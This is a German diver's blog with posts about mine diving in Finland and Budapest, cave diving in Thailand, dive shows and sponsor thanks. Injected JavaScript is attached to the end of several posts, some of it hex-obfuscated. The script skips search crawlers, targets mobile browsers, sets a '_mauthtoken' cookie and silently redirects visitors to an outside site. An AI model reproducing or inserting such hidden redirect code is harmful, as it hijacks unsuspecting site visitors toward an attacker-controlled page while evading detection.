    Es war ein interessantes Jahr. Der Ausblick auf 2015 lässt hoffen, dass es noch besser weiter geht.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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  • Höhlentauchen in Thailand 29.03. bis 06.04.14

    Leider war die Woche in Thailand dieses Mal nicht erfolgreich. Teuer, langweilig und nicht annähernd die Art von Tauchgängen, die ich mir erhofft hatte. Momentan bin ich nicht sicher, ob ich das Höhlentauchen in Thailand mit den gleichen Leuten wiederholen würde.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  • Dive & Travel Show in Madrid 09.03.14

    Am 09.03.14 besuchte ich meine spanischen Freunde auf der dive & travel show in Madrid. Er war ein sehr schöner Tag mit vielen interessanten Gesprächen und netten Leuten. Ich lernte das Team von „FlowCheck“ kennen, sie bieten einen sehr interessanten Revisionsservice für Regler an, der besonders für technische Taucher interessant sein dürfte. Ein sehr vielversprechendes Gespräch führte ich mit Juan Navas von DiverTug. Auch die Leute von Rivemar muss ich in nächster Zukunft mal in Cabo de Palos besuchen.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  • Minentauchen in Finnland – Ojamo Mine

    Ich hatte schon so viel über die Ojamo Mine gehört, dass ich dort unbedingt einmal ein paar Tauchgänge machen wollte. Das ist nicht ganz einfach, man kann  da nicht mal eben so hinfahren und tauchen gehen. Die Mine ist eigentlich gespert und es haben nur das Militär, ein Tauchclub und der Ausrüstungshersteller SUUNTO eine Genehmigung dort zu tauchen. Mehrere Monate dauerten die Vorgespräche mit den Leuten vom Ojamo Tauchclub, dann kam durch einen glücklichen Zufall noch Etienne Mackensen von Aqualung Deutschland zu Hilfe. Am 28.02.2014 flogen wir nach Helsinki. Voll ausgerüstet mit Rebreather, Video und Fotokamera und allem, was sonst für so ein Abenteuer nötig ist. In Helsinki angekommen musste ich leider feststellen, dass mein Gepäck es nur bis Berlin geschafft hatte. Der nette Herr am lost and found Schalter meinte aber ich solle mir mal keine Sorgen machen, das Gepäck würde sicher am gleichen Tag noch kommen, es würden ja noch 4 weitere Maschinen aus Berlin erwartet. Wir, also das Team Oliver Perschke, Olivier Bourquin und Heike Fäustel und ich, fuhren also zuerst einmal mit unserem gemieteten Bus zu SUUNTO um die von Etienne organisierten Flaschen und Bailouttanks usw abzuholen. Dann ging es ins Hotel(Scandic Paasi Hotel). Dort traffen wir Etienne und  nach kurzer Begrüssung ging es gleich weiter in die Innenstadt von Helsinki, wo wir mit Cemo Timucin von Northern Light Scuba verabredet waren. Wir bekamen eine spannende Einweisung in die Produktpalette der kleinen Lampen Firma. Am Abend war mein Gepäck immer noch nicht im Hotel eingetroffen und hatte die Befürchtung, dass aus meinen Tauchgängen in der Ojamo Mine, mindestens am Samstag, wohl nichts werden würde. Das Hotel hat einen kleinen Shop und so konnte ich dort wenigstens die wichtigsten Hygieneartikel einkaufen. Am nächssten Tag, mein Gepäck war auch über Nacht nicht angekommen, machten wir uns zu viert auf den ca 1 stündigen Weg zur Mine. Das Wetter ist sonnig und nicht zu kalt und unvermuteter Weise lag auch in Finnland kein Schnee. An der Mine angekommen machten sich Oliver, Olivier und Etienne gleich für den ersten Tauchgang bereit. Sie bekamen von Pasi Lammi eine ausführliche Erklärung. Pasi und sein Kollege guideten unsere 3 dann auch unter Wasser. Um zum Eingang der Mine zu kommen, mussten sie in einem zugefrohrenen See erst einmal 15 Minuten unter Eis tauchen. Die Wassertemperatur betrut 2°C. Der Mineneingang liegt auf 28m und die Bedingungen in der Mine waren sehr gut. gute Sicht und 4°C. Cemo begleitete die Gruppe mit seiner Supernova, einer unglaublich lichtstarken Lampe, die die Gänge fast taghell erstrahlen liess. Nach dem Tauchgang waren alle begeistert. Wegen der Kälte machte aber nur Olivier einen zweiten Tauchgang an diesem Tag.

    Am Abend gingen wir zusammen mit Pasi und Toni in ein witziges Restaurant, das Zetor.

    Auch am Sonntag Morgen war mein Gepäck noch nicht angekommen. So blieb mir wieder nur die Rolle des Zuschauers.

    Als wier am Sonntag Abend von der Ojamo Mine zurück kamen war auch endlich mein Gepäck eingetroffen. Leider war eine Tasche stark beschädigt und es fehlte ein Seacam Kameragehäuse mit einem Superdomport.

    Am Montag war unser Heimreisetag. Zuvor, am Montag Morgen, durften wir noch SUUNTO besuchen. Ein sehr netter und interessanter Besuch, bei dem wir Einblicke in den Produktionsablauf erhielten und noch sehr informative Gespräche führen konnten.

    Ich hoffe mein Weg führt mich bald wieder nach Finnland.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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  • DANKE!!!!!!!

    Ich muss mich hier mal bei ein paar Leuten von ganzem Herzen bedanken!!!!

    Miroslaw Pajak, einer meiner besten Freunde, der nun schon seit Monaten  seine Zeit geopfert hat um diese Homepage für mich aufzubauen und zu pflegen. DANKE Miro!

     

    Manfred Werner von 

    http://www.unterwasserkamera.at/

    Manfred hat mich von Anfang an ernst genommen und das unmögliche versucht möglich zu machen. Er hat umgetauscht, gebastelt, die besten Preise für mich rausgehandelt und zuletzt sogar einen Umbau völlig kostenlos durchgeführt.  Herzlichen Dank Manfred!

     

    Ammonite Systems, Piotr Stepkowski, Aleksander Chodakowski-Malkiewicz                     www.ammonitesystem.com

    Piotr und Aleksander stellen mir für meine kommenden Projekte ihre wunderbaren Lampen zur Verfügung. Vielen, vielen Dank!!

     

    SUUNTO, Lamya Kabbesch und Etienne Mackensen

    Für meine folgenden Projekte stellt mir SUUNTO einen Trimix und CCR tauglichen DX Uhren-Computer  zur Verfügung. DANKE schön!!

     

     

     

     

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  • Advanced Exploration Diving Conference-ADEXCON in Athen

    Die zweitägige ADEXCON in Athen war eine sehr professionell organisierte Veranstaltung. Es gab sehr interessante Präsentationen (teilweise auf englisch, teilweise mit englischer Übersetzung) und ich hatte wieder die Gelegenheit interessante neue Kontakte zu knüpfen.

    Leider war die Besucherzahl nicht sehr hoch, was wohl zum einen an dem herrlichen Wetter lag, aber vermutlich auch an der sehr schlechten wirtschaftlichen Situation in Griechenland.

    Ich wünsche den Organisatoren, dass sie weiter machen und dass im nächsten Jahr mehr Besucher den Weg zu dieser wirklich grossartigen Veranstaltung finden werden.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  • Boot 2014

    Im Januar durfte ich 8 Tage in Düsseldorf, auf der BOOT, am WETNOTES Stand, verbringen.

    Es war wieder eine grossartige Zeit. Ich konnte viele nette Leute treffen und hatte tolle Gespräche. Es gab viele, zum Teil sehr überraschende, Angebote.

    Das war der Beginn eines hoffentlich sehr interessanten Jahres 🙂

    Bilder findet ihr in der Galerie

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  • Ein Wochenende mit Freunden in Budapest

    Auf der Baltictech Conference in Polen traf ich Jozsef Spanyol. Er organisiert Tauchgänge in der Kobanya Mine in Budapest. Was für eine Gelegenheit 🙂

    Schnell waren ein paar gleichgesinnte gefunden und schon stand es fest: Noch in diesem Jahr (2013) würden wir Budapest einen Besuch abstatten um in der Kobanya Mine zu tauchen.

    Unser Team bestand aus Christina Biener (Schweiz), Ike Ikanivic, Siggi Lobnig und Chris Schablas (alle drei aus  Österreich), Andras Kuti und Jozsef Spanyol (beide aus Ungarn).

    Wir trafen uns an einem Samstag Abend im Dezember im Hotel (Achat Premium Budapest). Das Hotel wurde uns von Jozsef empfohlen. Es liegt nur ca 5 Minuten (mit dem Auto) von der Kobanya Mine entfernt.

    Am Samstag Morgen holte uns Jozsef im Hotel ab, und gemeinsam fuhren wir zur zum Tauchplatz. Wir konnten mit unseren Fahrzeugen in die Mine hineinfahren.

    Am ersten Tag betauchten wir zwei unterschiedliche Plätze.

    Die Bedingungen waren sehr gut. Wir konnten mit den Autos dicht an die Einstiege heran fahren. Die Einstiege waren über Treppen erreichbar. Die Sichtweiten waren sehr gut.

    Wir tauchten lange Gänge entlang, wechselten die Stockwerke indem wir z.B eine Wendeltreppe hinunter tauchten oder durch eine enge Röhre abstiegen. Es gab viel zu entdecken und wir hatten zwei sehr kurzweilige Tauchgänge, die jeweils ca 70 Minuten dauerten und uns auf eine maximale Tiefe von ca35 Metern führten.

    Am Abend beschlossen wir der Innenstadt von Budapest einen Besuch abzustatten. Wir besuchten den wunderschönen Weihnachtsmarkt und leisteten uns ein Essen bei einem sehr guten Italiener. Ein sehr netter Abend!!

    Am nächsten Tag wurden wir wieder von Jozsef abgeholt. Für diesen Tag standen zwei weitere Tauchplätze auf dem Programm. Der Ablauf war ähnlich wie am ersten Tag. Wieder hatten wir zwei grossartige Tauchgänge.

